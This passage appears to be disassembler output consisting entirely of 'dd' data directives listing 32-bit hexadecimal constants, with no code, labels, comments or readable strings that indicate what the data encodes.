		dd 51103D7Eh, 1873797Ch, 9CEB0903h, 0D80F6DDDh,	2869DEA9h
		dd 0CC01C1C1h, 0B7BD654Bh, 0A6D40318h, 68989664h, 0C27ED577h
		dd 168C7F58h, 48C2A971h, 7144DB18h, 0FA3C32Fh, 432C3AC8h
		dd 0CC45A325h, 50EA4CA8h, 3C4B2120h, 113E9C89h,	1685D4F8h
		dd 3BECC165h, 0C19062DAh, 0C4651EAEh, 1F508D60h, 856DF737h
		dd 528DB8Ah, 94B0F5A3h,	0BDA0AC58h, 38B21C72h, 4AB7A30h
		dd 0BB3F1719h, 25CCEC85h, 57CC4EAh, 0FCF5DF06h,	1FC4C8C9h
		dd 98684441h, 932C2010h, 0CFB224E2h, 38B29330h,	0BC96DD47h
		dd 671492A5h, 4C54BC89h, 0BEA066A5h, 0E017DC24h, 0A805181Bh
		dd 946F87B6h, 0EBB0CD01h, 3FC28778h, 4B7A822h, 0C4C4B9E2h
		dd 7600BAB1h, 12E9F7F0h, 97092614h, 7ED312A0h, 0B2336490h
		dd 3D9E8028h, 30B671C0h, 0F94FACEh, 0B52E08BCh,	376B5200h
		dd 149754E5h, 6C5B2098h, 465E44BEh, 93520030h, 2C84964Eh
		dd 0EED807F3h, 665851B6h, 127E8DCh, 6074ED86h, 0FC740746h
		dd 56D1B07h, 0F9F06CD2h, 178BDB23h, 8B1C9CF4h, 0CECA88B0h
		dd 0DC51B889h, 0F232C48Fh, 2BACD040h, 0EA1CFAD1h, 28872437h
		dd 7B4674C8h, 87739B00h, 2807154Ch, 0E99C530Eh,	0F23E8978h
		dd 0C6F92058h, 0B16C6902h, 0D9B4B8A9h, 187CD970h, 0E0725897h
		dd 0E3488717h, 303AB2B4h, 4F0584E1h, 0FE0921E3h, 5114DC87h
		dd 14EDDE02h, 172D18F4h, 87A09148h, 0A642F4E3h,	16C0541Ah
		dd 23482F8Ah, 5ADD017Fh, 0AFE981D4h, 0E4E06540h, 0A98F61CFh
		dd 16F5BF8h, 1488E984h,	63640EA6h, 0BE5507D8h, 0BC10401Eh
		dd 734D3B9h, 3FEBABA5h,	0BC5FD46Fh, 908A80E0h, 5B747Bh
		dd 1D992332h, 0F2F619AFh, 2716BB00h, 0A5594328h, 0A6630CD1h
		dd 8D392632h, 89767701h, 23DC6A52h, 342E1071h, 0BCE4EC14h
		dd 37268C34h, 8F05169Dh, 9CC08E12h, 952C5444h, 2C15A0B2h
		dd 0E8803B11h, 0B58CEA10h, 0D6182F60h, 97A7D558h, 0F778A825h
		dd 6350B090h, 74DD12A7h, 0C9301FA4h, 0E0542762h, 0B72F1504h
		dd 6E6E68B5h, 0A7E60154h, 9EACF48Ah, 53D4422Bh,	0D4806BEFh
		dd 8EC27346h, 8A12E800h, 455CA687h, 0D8A204E0h,	0A82A5B3Ch
		dd 62E70978h, 0A45079E2h, 51EF3F9Ch, 0F0182585h, 0B84E2CD4h
		dd 8A00386Eh, 0FD0C5BF0h, 945EF5A4h, 81EC8815h,	0B65025C4h
		dd 5743699Ch, 0AEC4426Ah, 975F1FB3h, 87CF113Ch,	2250C359h
		dd 0B8F2CDF7h, 0CBF320B4h, 2F8BF13Ch, 0C59C0999h, 60DFE41Ch
		dd 28F28B37h, 4498FC18h, 0DD2F122Ch, 2CA00871h,	0C4900FD6h
		dd 0C0FC3A2Ah, 0B28284A0h, 800216A3h, 0B80D3CE4h, 71FCDA8Fh
		dd 115409D6h, 0E500C8E9h, 0E0C18AD2h, 30CCBF00h, 799891E8h
		dd 31BD608Fh, 4D1894A9h, 5EB2BF0Ah, 5200D6D5h, 0E18F0C16h
		dd 0B0C505B3h, 1CBAD460h, 6926C490h, 4B54BC8Ch,	0CDC0B4DEh
		dd 0DAE73294h, 6F274D01h, 0D995533Dh, 11E80F7Bh, 0E7B08E1Ch
		dd 0B19C78D8h, 0A508DC15h, 9896268Ch, 54A9803Bh, 34590FF3h
		dd 0E57D00C4h, 11178C7Bh, 0BF0052A6h, 87F96B8Ah, 99BC0E1Dh
		dd 187CD1C4h, 11160FB9h, 60732461h, 90C5A65Ch, 50903AE9h
		dd 20302F11h, 0A59D3BE3h, 0F4A91F38h, 0DA0184ACh, 86BF46C6h
		dd 0C07D25A9h, 0BC18085Fh, 71B45BA5h, 945FE8EEh, 5742A303h
		dd 93EBBF74h, 5591C23Fh, 0F9082881h, 8C3B3FA1h,	0A900DA23h
		dd 7810B288h, 265B00D7h, 3CBDC7B7h, 0B64BF367h,	0AB21A8CAh
		dd 50FDE860h, 0C0B64BB3h, 86CA6B8h, 0E9D1A701h,	89A1B571h
		dd 4B09B2D0h, 0DAA8C8A9h, 0D929F166h, 9188021h,	488C63C4h
		dd 24A26CDDh, 99004CD6h, 662A6001h, 4D48F42Fh, 681278C3h
		dd 0BCFCBC77h, 43258C7Ch, 2E5C1820h, 79301076h,	0AB3E0B29h
		dd 97E07251h, 254368B9h, 0F2DC7214h, 0D10530DEh, 660DE025h
		dd 0BBA015D0h, 0EA09EC9Dh, 2CC2AB58h, 206F705Ch, 602A78E0h
		dd 2DA60EB7h, 0A4C0768Dh, 0C9EA2CB0h, 3AAA800Ch, 456D127h
		dd 0CC291B38h, 0C1B0A881h, 0A7A8DDA4h, 0E3399C39h, 0F4102C40h
		dd 2A0BC94Ch, 0D01F6E6Bh, 90963091h, 12CB1FC8h,	2B937F02h
		dd 0FEAF78E8h, 138BBA50h, 0F58297BDh, 48FCB198h, 0DD4676h
		dd 4BC514FCh, 16EA533Bh, 0F120C42Eh, 34372E9Ch,	0D874FDB1h
		dd 0FB4BE182h, 532B8C4Eh, 737150D0h, 0F7D4E43Ch, 2EBBC00h
		dd 0AF7A8E76h, 0AEDB0003h, 32501AC6h, 0B7BD2864h, 130A166Ch
		dd 93CAD7Ch, 51EF3DAAh,	11B42600h, 0D7007F45h, 6162511Bh
		dd 2DBDAB33h, 0A8B79267h, 60CF208Eh, 0A894FC65h, 201890F7h
		dd 1A14B078h, 12C87926h, 0E0F55438h, 34AC3C2Dh,	16DCAD48h
		dd 3CA45BA0h, 0EFB30926h, 4C026B14h, 590B6043h,	0FE620020h
		dd 91E44049h, 0C151EB00h, 0FC1ACF5Bh, 0CC56016Dh, 0AEB0E776h
		dd 1831BB6Ch, 0C3F00717h
		dd 0BC6D97C5h, 16808DC0h, 6F63122Ah, 0D2B4E24Bh, 0FF823C9Ah
		dd 0BC529FBEh, 0AAAED100h, 0A0E03ED5h, 2CB320E6h, 0A352DF20h
		dd 7ADCA2CCh, 4A5F2154h, 0F121FE9Dh, 17918C2h, 809829EAh
		dd 0E8FE2E41h, 8FEEBAAEh, 2694209Dh, 1F179DF9h,	197FF53Ah
		dd 6AA36C5Ch, 0C84CBC1h, 9582CBBh, 9F28510Bh, 0EC328CC2h
		dd 7F795859h, 0A30B2F18h, 8FDAC1A6h, 44F192F8h,	7FEC1478h
		dd 0A7B6048Ch, 0ED1C0F83h, 0FC2ED3A0h, 0EF1DCD23h, 0A5C08EC0h
		dd 9E09C8Ch, 41B33F10h,	96818876h, 38873BDh, 0C82DB888h
		dd 7F586A01h, 46F09C0h,	8B265BCh, 48F11161h, 8C38E8B8h
		dd 18FD1526h, 3C262B90h, 0ACC71204h, 8C7DECC8h,	995A0603h
		dd 2468A5B1h, 884BD19h,	0F60D6137h, 0FC60182Eh,	8A794BB9h
		dd 0B8B64EC8h, 0A01DFDE0h, 455DC200h, 0ADCE1B8h, 1ECD008Ch
		dd 0A118B667h, 0DFEC2A38h, 60B0ED25h, 253B28FCh, 0B0F9410Bh
		dd 0EA1834D9h, 0E8880400h, 11B0C7A9h, 0BB0D153Dh, 51026827h
		dd 4CBE9D92h, 0EEA8F460h, 60E7BB01h, 103FDAFh, 1B045C28h
		dd 0AFA3E06Dh, 3A2F1C44h, 641CEC21h, 37203084h,	6C241222h
		dd 0B8CCB96Dh, 9E362F24h, 2FA564C8h, 0AD6C2600h, 0B9F6C0B5h
		dd 4A213E24h, 0BAB8258Bh, 56F8F458h, 8064E93Ch,	0C5B3E837h
		dd 0B560EA8Dh, 44D32C89h, 2D179170h, 604804AFh,	19EC7D21h
		dd 87BC9860h, 79B1862Bh, 716005Ah, 1CBF3FACh, 7A128D2Ch
		dd 0B0E3B521h, 0E174E64Eh, 302E038Ch, 2F77B6C4h, 0C764DC12h
		dd 3B8BB4E3h, 0B5C4F067h, 1D803F67h, 8C9C01D5h,	0CD978A7Fh
		dd 6907C228h, 36BBC080h, 0E53E80FFh, 1409F70Eh,	2F0FC0Dh
		dd 16A47B8h, 6BF4EDA4h,	9064D413h, 1C6EEBh, 17447995h
		dd 477669Bh, 0CC07AF7Eh, 0E02CAEABh, 0F85C92F6h, 0CE19C0AEh
		dd 9C521FD8h, 688D6626h, 0BD951930h, 909B0F5Dh,	0E7D2A601h
		dd 0CC8A4B78h, 75C03AC8h, 95E52D4h, 0AC7D50DDh,	0E7E1C80Fh
		dd 0C918A6F7h, 0B8C0D6D6h, 8CBEC9BAh, 7A465Eh, 3157FD6Dh
		dd 0E6097F93h, 11600055h, 438E6127h, 5D522D1Ah,	78CB4F88h
		dd 0C001E3DFh, 0EC22CE83h, 0AE8C222Bh, 11AAE8E1h, 343227A6h
		dd 0BEE18B0Bh, 2C83C800h, 19CF2DDBh, 968E8018h,	97A2C15Ah
		dd 82E09C18h, 608C1302h, 542D1FC3h, 921DDC10h, 0E8662F61h
		dd 5B059D1Fh, 0B89EC43Dh, 37E775C1h, 7851F44Ch,	0A29FDCFCh
		dd 1AE2928h, 52A69708h,	52113380h, 3CD93A30h, 9B3AD09Ch
		dd 81348E07h, 17933362h, 24A660DFh, 98A4606Eh, 474A61FCh
		dd 0E9FF28E0h, 4AF1ADCCh, 89825DAh, 0A60C4698h,	882A7021h
		dd 9027FDA4h, 2D2824A5h, 253844AEh, 4A30ACFCh, 0A4093CB0h
		dd 0FADB3DD8h, 3B996B80h, 0A8CCDFE9h, 6F4BC800h, 21D45118h
		dd 89B3253Dh, 64090C72h, 0C95950BDh, 2417B5DCh,	60C98283h
		dd 2A00A0D0h, 0AE20A98Eh, 0B211B33Ch, 60A095A8h, 7DEDBDDEh
		dd 0CB432EEh, 0EE0128B3h, 2AFF4459h, 89533325h,	8FC7C70h
		dd 0E38269Bh, 0BDB401A9h, 5D84115h, 2FC33060h, 254B4891h
		dd 65FC042Ah, 9426EE2Ch, 71D8C681h, 0B74471C8h,	2F6B0928h
		dd 0E4FC8B0Ah, 2C394674h, 10095430h, 6004CAC0h,	25AD2114h
		dd 30C46E52h, 0F4421000h, 130F8431h, 0BD5B005Eh, 62D91DC8h
		dd 9F09B953h, 7C1B8EEh,	59B9FD34h, 1878D960h, 0C2113F40h
		dd 7C9203BCh, 3EA0F09Bh, 0CD99BB15h, 0A29409CCh, 0D6A8DC86h
		dd 0E6225400h, 3A7BD404h, 173C12C3h, 0E004B664h, 4B064888h
		dd 3944007h, 0A4BD2EA9h, 0F8A5A700h, 0A8F2E667h, 0F47B0110h
		dd 432CD96Ah, 72A47C4Bh, 0F6508995h, 0DD4676C0h, 52B6100h
		dd 24049714h, 0CA485505h, 38E68677h, 507174B0h,	732CBC25h
		dd 285C6950h, 663307D4h, 923D0527h, 405CB8C5h, 0AB39A80Bh
		dd 721C5B04h, 0E55F5D40h, 426DDB4Ch, 68082FC0h,	780378h
		dd 0A2A3DA4Eh, 0C17EE97Ch, 2CFFAA05h, 0A0E1B33Bh, 0F654346Eh
		dd 7C56E0E4h, 3FE00B9h,	8EE2E3CEh, 69257F7Ah, 7871EBh
		dd 112FAF1Bh, 0DE133D8Fh, 2901F6BFh, 202ECE2Ah,	78C08A4h
		dd 4C299E64h, 0EB05F510h, 8A163DBFh, 0CA80009Bh, 320E9DC2h
		dd 8CF87671h, 522A7725h, 8AAA0098h, 8F5A8127h, 972578E3h
		dd 2D34C430h, 0B01DA65Dh, 5A83DD91h, 82AD9AE5h,	8C461C1Ah
		dd 96DB653Ch, 7D00FBFDh, 0AD9FF330h, 1D8A05D9h,	8064D187h
		dd 0BCF7F134h, 0C6542827h, 582093A4h, 9B0B9F14h, 2B80B60h
		dd 672A58h, 0D80713ACh,	288C6602h, 0D5B68333h, 3A91809Dh
		dd 18DA2B81h, 610FE16Fh, 2520307Ch, 0E4CBF82Dh,	0A047545Ch
		dd 4B582550h, 244AC850h, 0C52280E7h, 934490BDh,	393E79CBh
		dd 0AE24A38Eh, 709E1E8Bh, 8BF47181h, 5E4D3Dh, 5788836Eh
		dd 7ED67B63h, 0A88D0177h, 58A71A80h, 285ECEB5h,	0ED22A4E0h
		dd 3400E97Eh, 72E4E67Dh, 88DF113h, 0D3F0B4h, 0A5209BCAh
		dd 167E1AECh, 34183A00h, 0C18C69A6h, 0EF111F7Ah, 8A0101B4h
		dd 2BAE9CF4h, 0CCF26885h, 8F30CEF2h, 0BA720178h, 2426F8B8h
		dd 78422AD4h, 2745B63h,	98822827h, 0A401601Dh, 54E6BCF5h
		dd 0AC56E08Ch, 52F4B6AFh, 22073009h, 4438E708h,	0AE8060CBh
		dd 78F76B2Fh, 8EFD58E8h, 0CF817609h, 0E44C45F0h, 2C8C60D8h
		dd 8E1E0075h, 0E8D9E408h, 0B098AE5Dh, 149D3401h, 22F2E040h
		dd 6364306Bh, 858060DFh, 3BB40B18h, 0F8E809D8h,	8171BA7Ch
		dd 1FA02A00h, 41CB7D55h, 0EC1A00EBh, 236C86E8h,	0D3005CAFh
		dd 0C3F82FB8h, 5F6DA33Eh, 0FDF095A5h, 533C0578h, 53ABD429h
		dd 0C8D88F40h, 0F0ECACAh, 0A998E222h, 0A4316111h, 4F6BD08Ch
		dd 241C0401h, 7818427Ch, 0AB89DCBFh, 0B8A2952Eh, 3857A08Eh
		dd 85524720h, 0C77CCD2Fh, 83D487C0h, 782DB766h,	4A780459h
		dd 0C790C3h, 7A11B90h, 37ADB82Ch, 0DCB1134Ah, 5E3C58h
		dd 29F82C95h, 0FC0D80BDh, 63BAEB25h, 0ADF80498h, 0AE6BB659h
		dd 7D00C07Eh, 2E261D07h, 0E707D7A7h, 15897B6Ch,	24DDC461h
		dd 0FB8002Ah, 4D9DE42Ah, 60123D25h, 3CDBA654h, 0EAA50B4Ch
		dd 54542012h, 0F8EDDC41h, 3E0CD32Ah, 3FA643F0h,	0C9812E6Eh
		dd 0A14C7B06h, 18385160h, 544B486Dh, 0AC658012h, 0B408A580h
		dd 0DB8B8228h, 0F0543924h, 3E0DB851h, 7923242Bh, 59EA0900h
		dd 1FAB3001h, 7A58A6B0h, 0F1AC0BCAh, 0A091C89Fh, 3EE2D68Eh
		dd 0BC68C5BBh, 3A17CC87h, 0F8495613h, 0D5F451B0h, 0E4DCE5ADh
		dd 89D56030h, 41152C5Dh, 0B19614FCh, 963CAF40h,	94C541F8h
		dd 0BF1A00C9h, 0CF5127B8h, 37D14073h, 0B3807070h, 0B0B207BCh
		dd 0DBA768A8h, 4B5070DCh, 5C39A628h, 0E6F7C5ECh, 6B3B2C01h
		dd 0AE24CC2Ch, 0A497514Ch, 9B059C79h, 0C8E209DDh, 0A27CF693h
		dd 7B44603Ah, 0D9084A20h, 0C6E7E58h, 0C710670Fh, 0C0DE1584h
		dd 0A6A21C4Ch, 0EB176804h, 0F8D76440h, 0B12E2181h, 0B8602DF5h
		dd 0F9A018BEh, 17FD78D5h, 4C57181Eh, 0F7604CAEh, 99309Ah
		dd 347BD01Ah, 98DDB942h, 0C259EB00h, 14D846C1h,	0B08D01F6h
		dd 778F01E5h, 28902EC4h, 39BAF40Fh, 8AAE071Fh, 2402DCFCh
		dd 0EB43A73Dh, 0E2C8745Ah, 4B21D9E8h, 702A7D0Bh, 4762CC28h
		dd 54196369h, 713441CCh, 3079EDF0h, 755FDDF8h, 1D3F4DEh
		dd 0D3A4A893h, 852078CBh, 58B8683Dh, 4911EB00h,	612FA7D2h
		dd 0FBD0BA95h, 8B2F5078h, 0FAF1800h, 0EEA72BAAh, 80FC9E73h
		dd 9EE17460h, 0C2D5836h, 973C6EC6h, 60004B5h, 0FB632CC3h
		dd 5A909277h, 0A2F8A322h
		dd 123B30CBh, 580BEBECh, 0DA082A33h, 0E8CA401Ch, 40C1E72Ch
		dd 0C42625DEh, 0D6832871h, 27B3C1A0h, 18723159h, 59B96825h
		dd 76B300D0h, 9B81A205h, 0E1D02C0Fh, 0ED3AE0F9h, 6AA31179h
		dd 0CFCE8A8h, 26B02963h, 67121D7Ah, 7CA38953h, 395A007Dh
		dd 0D5BBA1BCh, 0CD979EB7h, 0F432E0FCh, 0DC001E01h, 3ED2A34h
		dd 0A430A6FEh, 48019D88h, 0F4F952F6h, 44E7928Dh, 8FB44FCCh
		dd 3D2A6402h, 591C3A5Dh, 19DC5984h, 18D58BF0h, 0D8087C28h
		dd 8D80C551h, 787D1234h, 8DA0B257h, 2C7689FAh, 4A4E2E0h
		dd 99887354h, 63145400h, 0DFF66CDBh, 34000E7h, 0BB11FAA7h
		dd 9373CDC7h, 0F6E8DCB8h, 80975A7Dh, 0BF78EBDCh, 9CBA9525h
		dd 3740BCDCh, 14D6F9Dh,	4BCEF5EEh, 0F09C8446h, 0DD4A0720h
		dd 0CFB27CE3h, 60DAD30h, 89B58EBFh, 8F208847h, 0AB3E3D29h
		dd 29CC947Ch, 28A81Ch, 0D1BCF10Dh, 4FFA6B27h, 76C8625Ch
		dd 1565540h, 0AD3B393Ah, 608F7E77h, 0A540B88Ch,	9F50B0B5h
		dd 28487468h, 6E22BF25h, 20BEFB58h, 0CBCADE3Fh,	2A8D012Ch
		dd 83EE07ADh, 82FEA04h,	82007823h, 0B48EDD13h, 6AAC0C96h
		dd 8BC0682Fh, 0A9F92704h, 78CE21A1h, 72C0DE88h,	0B54B40A9h
		dd 99308466h, 349C123h,	17F471h, 5AFFA26Fh, 0CDF60ECEh
		dd 0CF203498h, 0BC0C2E2Bh, 0C95930A6h, 6300F0E8h, 99142341h
		dd 2C24FF4h, 0FC7D4D82h, 20572677h, 818C0178h, 8F94132Ah
		dd 80A0DBF0h, 39D7A68Eh, 2F1373DCh, 0B44AF5A7h,	7B14D061h
		dd 54B86016h, 14287685h, 19131C40h, 102826B2h, 2DEED20h
		dd 85E330F4h, 0BC54B015h, 0F2554FDCh, 0C26300CCh, 7DDB5EC5h
		dd 53AC0098h, 8DB9A2F5h, 665B3231h, 0C167F8C1h,	9D1C226Ah
		dd 0B79C8B7Fh, 0EE9507ACh, 84C59101h, 78446ABBh, 0A41C6FB7h
		dd 0C70B09A0h, 7E0FC811h, 9CACA440h, 8DCF14h, 9BC89F2Bh
		dd 0CA4DF32Fh, 0E7766E2Ch, 1D95E400h, 482C1C16h, 4F12A818h
		dd 0B2F0A36Ah, 2B313139h, 68FD8834h, 8A0BA5B8h,	2490492h
		dd 501BA8h, 0AF2A3112h,	7820EC90h, 0B0B408A7h, 0EA82FCA8h
		dd 0A5C4F758h, 6EEE2E84h, 2755000Ch, 0B419C2ACh, 0FEF600BFh
		dd 0A70199EBh, 0CDBDD36Ch, 9629C3B4h, 5E41DCA0h, 6E18A625h
		dd 70B5B5A4h, 0C64BD200h, 5CE91EB2h, 5052F280h,	0D1690418h
		dd 37E2E2E8h, 0BB6258h,	0CA44D9DBh, 656F098Ch, 0F98FA0B3h
		dd 0AF0200FCh, 319EE15h, 0C4109D6Dh, 0AAEA6AD3h, 2B82521Fh
		dd 0C54B347h, 0F0D091F3h, 0B786018Eh, 8563BCEDh, 0B131895Fh
		dd 0B1806FFDh, 792711BEh, 0D047B1Fh, 31EAEDA3h,	99342480h
		dd 29A80416h, 0C48EBC10h, 2F4081C4h, 758A08CFh,	609090D9h
		dd 0EFD35176h, 3B006987h, 0C3B0D192h, 3A580E07h, 0BC811539h
		dd 0B240DA27h, 60D92A9Dh, 9F4F58D0h, 25B384A2h,	3295BCF8h
		dd 0E037DF8Ch, 6F6C9707h, 40E09F30h, 0A8B1252Dh, 0AF92EC71h
		dd 0B850F41Fh, 0A73BB604h, 0AF14946Eh, 5901006Bh, 20EE6E97h
		dd 4003EC5Ch, 0C80F2F25h, 3D8D819Ch, 0C5BD3FF8h, 70870D25h
		dd 60745986h, 314674h, 9A6296E9h, 903EF66h, 263D1F28h
		dd 0E521EC58h, 187AF1D0h, 0A34D0290h, 0DB0E1B0Bh, 0A41DC4FEh
		dd 84512521h, 0EA3F5811h, 0D1B33D93h, 6AB7D748h, 3B2C5CC0h
		dd 0B7896EBh, 0D8F0900Bh, 58C8B120h, 0F4808008h, 49C7DF6Fh
		dd 52CE200h, 4FF81D52h,	8CC5019Ch, 533D040Ch, 5B147419h
		dd 0AEB1140Ch, 0BE0FB918h, 0EA8B80C8h, 0E638F52Fh, 0F3546C00h
		dd 1142BFF9h, 0BB14043Dh, 81646BA6h, 3E56806Ch,	40CB64CCh
		dd 0F0919935h, 0E5FE0Bh, 38937041h, 12D51CB5h, 0FC304008h
		dd 96F3D16h, 7979A660h,	5447ADh, 55F4ED8Bh, 7A72B3E5h
		dd 9B394805h, 0A0588F21h, 12EF6571h, 0E0736ACDh, 0CA001D3Ch
		dd 9CEB8A79h, 19E97F3Dh, 902ADF40h, 0C1B4289Eh,	49AB3D9Fh
		dd 7E18917Fh, 28132E8Dh, 4CDD5C02h, 3AA602DBh, 8D00A8D2h
		dd 6C251481h, 2542CC60h, 8C5979ABh, 0B4E2CE92h,	0AEAF8E03h
		dd 0D94BEA09h, 650064B2h, 0AD554180h, 0DDE02C53h, 0FB644401h
		dd 0A0C79270h, 8DC3DC4h, 610B332Ah, 44AC9434h, 48154C22h
		dd 9B47B40h, 2239B8BEh,	0C350E204h, 0A3183A99h,	0C527FC3Ch
		dd 48C7A422h, 2DA9180Fh, 8F400BF4h, 0D0561418h,	28CD9108h
		dd 163F0478h, 0AB675843h, 14B3CC12h, 65348D00h,	0C57C879Fh
		dd 6DF88995h, 0F013C71Ch, 0A294E304h, 82278A07h, 4D5B1045h
		dd 80556430h, 60548C48h, 0E4F638B6h, 38C703C9h,	9EFF4972h
		dd 7C00E17Eh, 0F655980Ch, 4A188950h, 0C87C8F56h, 1DCC07Ah
		dd 0ECEFFB44h, 144AEF34h, 6BD664B6h, 80D090Ch, 894020AFh
		dd 1024419h, 39A2812h, 7B6F32ACh, 75F2D402h, 0DBACCA2Fh
		dd 771470C8h, 90061E0Eh, 0F93D6BBCh, 40642AD0h,	0AC982268h
		dd 54A30771h, 80BF8FF7h, 0DDCEA6D3h, 8800AA7Fh,	0BE5B1A5Eh
		dd 4AF2E8EEh, 8FFCCCB9h, 866C48BFh, 1C1300E9h, 7ADA422Bh
		dd 5D12E7F2h, 9CAC0D06h, 0DF4C8BD2h, 0DD2104E3h, 2A8B81A0h
		dd 0B278F864h, 1408666Fh, 10309DD0h, 125EF51Fh,	0F91C16DFh
		dd 99AC44h, 0D3C9E9A9h,	800C3C04h, 34B7255Ah, 979D4922h
		dd 8438910Ch, 70C03D22h, 2DEDA7AFh, 545BC94Ch, 0ECE91F16h
		dd 49008FACh, 0A19CBBECh, 24908CC9h, 4C50A7B1h,	0A34A8E70h
		dd 172CDCB2h, 0D9C9086Ch, 9D1C7027h, 0A1064460h, 0D3182516h
		dd 37878C4Bh, 65FB80E4h, 0DBAB0684h, 6AE7697Dh,	90CD0C88h
		dd 87B4124Ch, 45E8B3E1h, 0B93BF7B0h, 0D8082DA4h, 0D44595B8h
		dd 0BD299409h, 351B8074h, 518C274Dh, 4E4C8D2Fh,	893179A8h
		dd 0D4D44301h, 89110F9Ch, 8700B777h, 0DB28E909h, 3E044056h
		dd 38E0F1BBh, 0BA9427E7h, 82C1406Dh, 0CC2FE73Dh, 74406BD8h
		dd 0D5072DADh, 0FF44745Ah, 515013D4h, 0D2E0FDA9h, 66B888EDh
		dd 6A7E3Fh, 18A108C6h, 0C33C9E16h, 0B57FCCA1h, 785B7C80h
		dd 0F57E3A1Eh, 63A0D200h, 3E1B2491h, 8F13C287h,	0E6188576h
		dd 0CC87B09Ch, 2C2900A9h, 0EC5A1CBFh, 782DE9A8h, 5328C8FFh
		dd 0B7D44015h, 0C1B48C30h, 80F0A7h, 4A96579Bh, 74525B53h
		dd 6A621301h, 0B28D87DAh, 0AC54C02Fh, 1513310Fh, 600196ABh
		dd 0DFF025C6h, 5E14002Bh, 0B1B8A85Dh, 0B0A6AD4Eh, 0D36CAF00h
		dd 0B53EF808h, 0E9A7B025h, 4620FE8h, 0B34017Ch,	0E7494E7Bh
		dd 12E8703Bh, 14DD874Ah, 80BCDA6Bh, 0F433EA0Ah,	0E35255Dh
		dd 34AB5C5Bh, 53A6859h,	0AB469FC0h, 4CF68816h, 617480E4h
		dd 332762C4h, 4FCCDA45h, 10D8B271h, 6A25753Bh, 0A85E58C2h
		dd 3DA4676h, 0EA53EC60h, 0E0B1F8EDh, 68820EE1h,	0AC32AE3Fh
		dd 30E8C248h, 9401F7EFh, 0F4C11521h, 62B5D73Bh,	40377558h
		dd 70AF209h, 28B4E2BAh,	23643BABh, 0C70E0139h, 2FD1A0FDh
		dd 6EABD474h, 9F120940h, 40D05C61h, 975DDE0Bh, 3016C900h
		dd 9ABD396Eh, 700F015Fh, 143CCED8h, 0CC002EBBh,	778392E0h
		dd 183E00B4h, 202D2FAFh, 7C0080FCh, 11C024DEh, 17F4BD6Fh
		dd 0B08CB5CCh, 50E4A660h, 95845895h, 0D0D9E08Bh, 0D61836F1h
		dd 80B8BA00h, 0B03883DEh, 1617226h, 0E9C07755h,	40322B40h
		dd 0D16B19E4h, 52D8820Eh, 842F03BDh, 0D7900FE1h, 98988BD2h
		dd 2881C7B0h, 88EC9A2Bh, 0FBE7C539h, 4EF0C1Dh, 41EB0C6Ch
		dd 3025DE74h, 0EC6405D3h, 0BF009CA2h, 0D6B982B3h, 0CD951C14h
		dd 256061FCh, 3BE04255h, 0A1C064C6h, 9FD1DBFBh,	1AB32E36h
		dd 7D903A68h, 38E49392h
		dd 4CF44C22h, 2024149Fh, 8C191876h, 511B71C1h, 0F6491012h
		dd 0A10033BCh, 66B471E9h, 0C7137004h, 100E3CE5h, 1F6282FDh
		dd 40905C25h, 29D1E75Eh, 5B7700Bh, 5198563Fh, 7A14F613h
		dd 4F29CD31h, 0BF180121h, 5049ADCFh, 88E24BA8h,	20E2A6FCh
		dd 465E20B6h, 0A4172CA3h, 0F9412F0Bh, 1834D9B4h, 0D50E00C7h
		dd 0EB70C081h, 5B133F96h, 28E2B4D9h, 568AECC5h,	0A380A8F8h
		dd 99792580h, 0BDC82420h, 25005141h, 1AEE79D8h,	198FD15h
		dd 81155CBh, 0C0F71BC5h, 16016959h, 0B5361D27h,	887C3FDFh
		dd 0C80701C5h, 520383C8h, 7FD6C91Fh, 54B6506Bh,	1C68E59Bh
		dd 8C31ECh, 2F6458C2h, 0B55E3394h, 0EDDCE004h, 2DAAB8CCh
		dd 0E27032D4h, 6A213038h, 758E90Ah, 5325A434h, 0AF0B3B30h
		dd 5448EA3Dh, 0CF172776h, 0A888EB36h, 0C44C06D8h, 0E8624B3Ah
		dd 0BCE5605h, 94603189h, 2DF8F66Ch, 38592C60h, 732D10A8h
		dd 0A7385B6Ah, 7CE686Dh, 0F6D03142h, 2F0ADECh, 533F7BA3h
		dd 0D4E4B011h, 0E83D8332h, 27445CAAh, 0A3C434E7h, 4B2C7B60h
		dd 4E61AF2Dh, 802A04E4h, 52B7E83Dh, 204F04A8h, 0AFEAB3F8h
		dd 0C01E732Fh, 253F1A68h, 287340FCh, 25630B70h,	18644197h
		dd 867A5B00h, 0C7C0D3CDh, 0D92500FFh, 95768E1Ah, 0D4988753h
		dd 8B30FB16h, 9AC068DBh, 9315BC9h, 1618FDB8h, 1560DE12h
		dd 88E94B47h, 0FCB80160h, 0A11BA509h, 0EACCA03Fh, 94C65358h
		dd 81B304E0h, 0D234ADCDh, 2B8BCFDh, 0C24B8607h,	0EB116B1Eh
		dd 0F43CCB78h, 7674B492h, 5888354Ah, 0C4F12053h, 0B0E7FD04h
		dd 40A46CA5h, 2FD03E76h, 48601703h, 8AA8ECD1h, 74B84EBh
		dd 122C588Ch, 0F46F833Bh, 0D741C4DCh, 51AB1888h, 4928512Dh
		dd 0B1F020DBh, 0C6AF02BAh, 9F3CB28Bh, 38B42075h, 1E164BABh
		dd 0C07B7FE1h, 0F4271161h, 7700689Eh, 80CB5148h, 4B0D538h
		dd 9BA4142h, 151C91A8h,	0EE0BE88Ah, 0ED7EFF00h,	61F708D1h
		dd 533D0A64h, 72D4B321h, 91F0155Dh, 0D04880CCh,	1F62E55Eh
		dd 0C5524018h, 2147436Ah, 4D114A0h, 458F14B8h, 0E455B127h
		dd 20823412h, 4298747Fh, 0C509D370h, 60DDE4F8h,	33A5231h
		dd 0AB564684h, 1416E18Ah, 280D186Ch, 823B6913h,	704A3EF8h
		dd 0DC34D4h, 0D36A698Dh, 0EDA6DCA0h, 0FCF0E069h, 2705DED4h
		dd 0E44C5DDBh, 0E900C8B2h, 1993D30Ah, 0A00768A2h, 51D0CC57h
		dd 8960B337h, 258C259Dh, 0D451A671h, 9187BD1h, 6BB5B401h
		dd 2FB34752h, 9A2A1461h, 0E4CA4B04h, 57C07BC8h,	0AE10A9h
		dd 0BCE75F3Fh, 95030963h, 0C4FCE0D3h, 0C198DA5Ah, 7E042C07h
		dd 0ECC0882Bh, 0CA866600h, 0D009EE7Dh, 0B71C4A03h, 5CF64F28h
		dd 0FEE5CDA1h, 6C16B7E0h, 0BB62CA13h, 0DCA8D085h, 80B1B812h
		dd 30EB8D6Ch, 0AC82CB4Fh, 2B4C8099h, 3BBC036Ah,	73813CC7h
		dd 0C27CFD8Fh, 0F3DD44Ah, 0B74A8AF0h, 0E8B918EDh, 92000CF4h
